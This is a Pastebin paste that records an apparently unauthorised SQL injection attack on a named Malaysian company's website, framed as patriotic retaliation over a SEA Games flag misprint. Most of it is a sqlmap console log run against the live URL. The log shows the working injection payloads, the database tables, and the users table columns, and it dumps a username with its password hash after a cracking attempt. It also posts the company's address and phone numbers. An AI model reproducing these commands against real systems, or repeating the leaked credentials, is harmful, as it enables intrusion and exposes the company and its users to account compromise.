API tools faq
paste
yukinoshita47

#OPMalaysia2017 #Abal_Abal | BIMASIA. SDN. BHD

yukinoshita47
Aug 21st, 2017
137
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.69 KB | None | 0 0
raw download clone embed print report
  1. PENTESTER ===> Yukinoshita 47
  2. TEAM ===> Garuda Security Hacker
  3. ****
  4. TARGET ==> BIMASIA SDN BHD (Malaysian Private Company)
  5. Contact
  6. BIMASIA
  7. Level 15.01, First Avenue
  8. Bandar Utama 47800
  9. Petaling Jaya Selangor
  10. Malaysia
  11.  
  12. t +603 7651 7885
  13. f +603 7652 7701
  14.  
  15. [email protected]
  16.  
  17. ============================
  18.  
  19. Malaysian do Something Wrong
  20.  
  21. See This Accurate News For Detail
  22.  
  23. http://global.liputan6.com/read/3064456/media-asing-sorot-insiden-salah-cetak-bendera-ri-di-sea-games
  24. https://kumparan.com/bergas-brilianto/bendera-indonesia-dilecehkan-di-buku-panduan-sea-games-menpora-berang
  25. https://sport.tempo.co/read/news/2017/08/19/103901375/sea-games-2017-dibuka-ada-insiden-bendera-indonesia-terbalik
  26.  
  27. But This Not Serious But Just For Fun With It
  28.  
  29. Let's Start The Show
  30.  
  31.  
  32. ============================
  33.  
  34. root@yukinoshita47:~# sqlmap -u http://bimasia.com.my/work.php?id=11 -D bimasia --table
  35.  
  36. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  37. http://sqlmap.org
  38.  
  39. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  40.  
  41. [*] starting at 19:27:03
  42.  
  43. [19:27:04] [INFO] resuming back-end DBMS 'mysql'
  44. [19:27:09] [INFO] testing connection to the target URL
  45. [19:27:09] [INFO] heuristics detected web page charset 'ascii'
  46. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  47. ---
  48. Place: GET
  49. Parameter: id
  50. Type: boolean-based blind
  51. Title: AND boolean-based blind - WHERE or HAVING clause
  52. Payload: id=11' AND 2500=2500 AND 'hEqm'='hEqm
  53.  
  54. Type: UNION query
  55. Title: MySQL UNION query (NULL) - 11 columns
  56. Payload: id=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716e646c71,0x785963584c6f466d6971,0x71776b6d71),NULL,NULL#
  57.  
  58. Type: AND/OR time-based blind
  59. Title: MySQL > 5.0.11 AND time-based blind
  60. Payload: id=11' AND SLEEP(5) AND 'Sihi'='Sihi
  61. ---
  62. [19:27:09] [INFO] the back-end DBMS is MySQL
  63. web server operating system: Windows 8.1 or 2012 R2
  64. web application technology: ASP.NET, PHP 5.3.28, Microsoft IIS 8.5
  65. back-end DBMS: MySQL 5.0.11
  66. [19:27:09] [INFO] fetching tables for database: 'bimasia'
  67. Database: bimasia
  68. [8 tables]
  69. +-------------------+
  70. | home_slider |
  71. | keywords |
  72. | news |
  73. | partners |
  74. | team |
  75. | users |
  76. | users_information |
  77. | works |
  78. +-------------------+
  79.  
  80. [19:27:10] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/bimasia.com.my'
  81.  
  82. [*] shutting down at 19:27:10
  83.  
  84. root@yukinoshita47:~# sqlmap -u http://bimasia.com.my/work.php?id=11 -D bimasia -T users
  85.  
  86. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  87. http://sqlmap.org
  88.  
  89. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  90.  
  91. [*] starting at 19:27:54
  92.  
  93. ^C
  94. [19:27:54] [ERROR] user aborted
  95.  
  96. [*] shutting down at 19:27:54
  97.  
  98. root@yukinoshita47:~# sqlmap -u http://bimasia.com.my/work.php?id=11 -D bimasia -T users --columns
  99.  
  100. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  101. http://sqlmap.org
  102.  
  103. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  104.  
  105. [*] starting at 19:28:02
  106.  
  107. [19:28:02] [INFO] resuming back-end DBMS 'mysql'
  108. [19:28:03] [INFO] testing connection to the target URL
  109. [19:28:03] [INFO] heuristics detected web page charset 'ascii'
  110. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  111. ---
  112. Place: GET
  113. Parameter: id
  114. Type: boolean-based blind
  115. Title: AND boolean-based blind - WHERE or HAVING clause
  116. Payload: id=11' AND 2500=2500 AND 'hEqm'='hEqm
  117.  
  118. Type: UNION query
  119. Title: MySQL UNION query (NULL) - 11 columns
  120. Payload: id=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716e646c71,0x785963584c6f466d6971,0x71776b6d71),NULL,NULL#
  121.  
  122. Type: AND/OR time-based blind
  123. Title: MySQL > 5.0.11 AND time-based blind
  124. Payload: id=11' AND SLEEP(5) AND 'Sihi'='Sihi
  125. ---
  126. [19:28:03] [INFO] the back-end DBMS is MySQL
  127. web server operating system: Windows 8.1 or 2012 R2
  128. web application technology: ASP.NET, PHP 5.3.28, Microsoft IIS 8.5
  129. back-end DBMS: MySQL 5.0.11
  130. [19:28:03] [INFO] fetching columns for table 'users' in database 'bimasia'
  131. Database: bimasia
  132. Table: users
  133. [6 columns]
  134. +-----------+--------------+
  135. | Column | Type |
  136. +-----------+--------------+
  137. | uActivity | datetime |
  138. | uCreated | datetime |
  139. | uPassword | varchar(40) |
  140. | uSalt | varchar(128) |
  141. | userId | int(11) |
  142. | uUsername | varchar(128) |
  143. +-----------+--------------+
  144.  
  145. [19:28:03] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/bimasia.com.my'
  146.  
  147. [*] shutting down at 19:28:03
  148.  
  149. root@yukinoshita47:~# sqlmap -u http://bimasia.com.my/work.php?id=11 -D bimasia -T users -C uUsername,uPassword,userId --dump
  150.  
  151. sqlmap/1.0-dev - automatic SQL injection and database takeover tool
  152. http://sqlmap.org
  153.  
  154. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
  155.  
  156. [*] starting at 19:29:14
  157.  
  158. [19:29:14] [INFO] resuming back-end DBMS 'mysql'
  159. [19:29:14] [INFO] testing connection to the target URL
  160. [19:29:15] [INFO] heuristics detected web page charset 'ascii'
  161. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  162. ---
  163. Place: GET
  164. Parameter: id
  165. Type: boolean-based blind
  166. Title: AND boolean-based blind - WHERE or HAVING clause
  167. Payload: id=11' AND 2500=2500 AND 'hEqm'='hEqm
  168.  
  169. Type: UNION query
  170. Title: MySQL UNION query (NULL) - 11 columns
  171. Payload: id=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716e646c71,0x785963584c6f466d6971,0x71776b6d71),NULL,NULL#
  172.  
  173. Type: AND/OR time-based blind
  174. Title: MySQL > 5.0.11 AND time-based blind
  175. Payload: id=11' AND SLEEP(5) AND 'Sihi'='Sihi
  176. ---
  177. [19:29:15] [INFO] the back-end DBMS is MySQL
  178. web server operating system: Windows 8.1 or 2012 R2
  179. web application technology: ASP.NET, PHP 5.3.28, Microsoft IIS 8.5
  180. back-end DBMS: MySQL 5.0.11
  181. [19:29:15] [INFO] fetching columns 'uPassword, uUsername, userId' for table 'users' in database 'bimasia'
  182. [19:29:15] [INFO] fetching entries of column(s) 'uPassword, uUsername, userId' for table 'users' in database 'bimasia'
  183. [19:29:16] [INFO] analyzing table dump for possible password hashes
  184. [19:29:16] [INFO] recognized possible password hashes in column 'uPassword'
  185. do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
  186. [19:29:19] [INFO] writing hashes to a temporary file '/tmp/sqlmaphashes-bubau5.txt'
  187. do you want to crack them via a dictionary-based attack? [Y/n/q] y
  188. [19:29:21] [INFO] using hash method 'sha1_generic_passwd'
  189. what dictionary do you want to use?
  190. [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
  191. [2] custom dictionary file
  192. [3] file with list of dictionary files
  193. > 1
  194. [19:29:23] [INFO] using default dictionary
  195. do you want to use common password suffixes? (slow!) [y/N] n
  196. [19:29:26] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
  197. [19:29:26] [INFO] starting 2 processes
  198. [19:31:53] [WARNING] no clear password(s) found
  199. [19:31:53] [INFO] postprocessing table dump
  200. Database: bimasia
  201. Table: users
  202. [1 entry]
  203. +--------+------------------------------------------+-----------+
  204. | userId | uPassword | uUsername |
  205. +--------+------------------------------------------+-----------+
  206. | 5 | 9a7ac46212b35f8bd4c2091b36db173d4cd3b0c2 | rizal |
  207. +--------+------------------------------------------+-----------+
  208.  
  209. [19:31:53] [INFO] table 'bimasia.users' dumped to CSV file '/usr/share/sqlmap/output/bimasia.com.my/dump/bimasia/users.csv'
  210. [19:31:53] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/bimasia.com.my'
  211.  
  212. [*] shutting down at 19:31:53
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!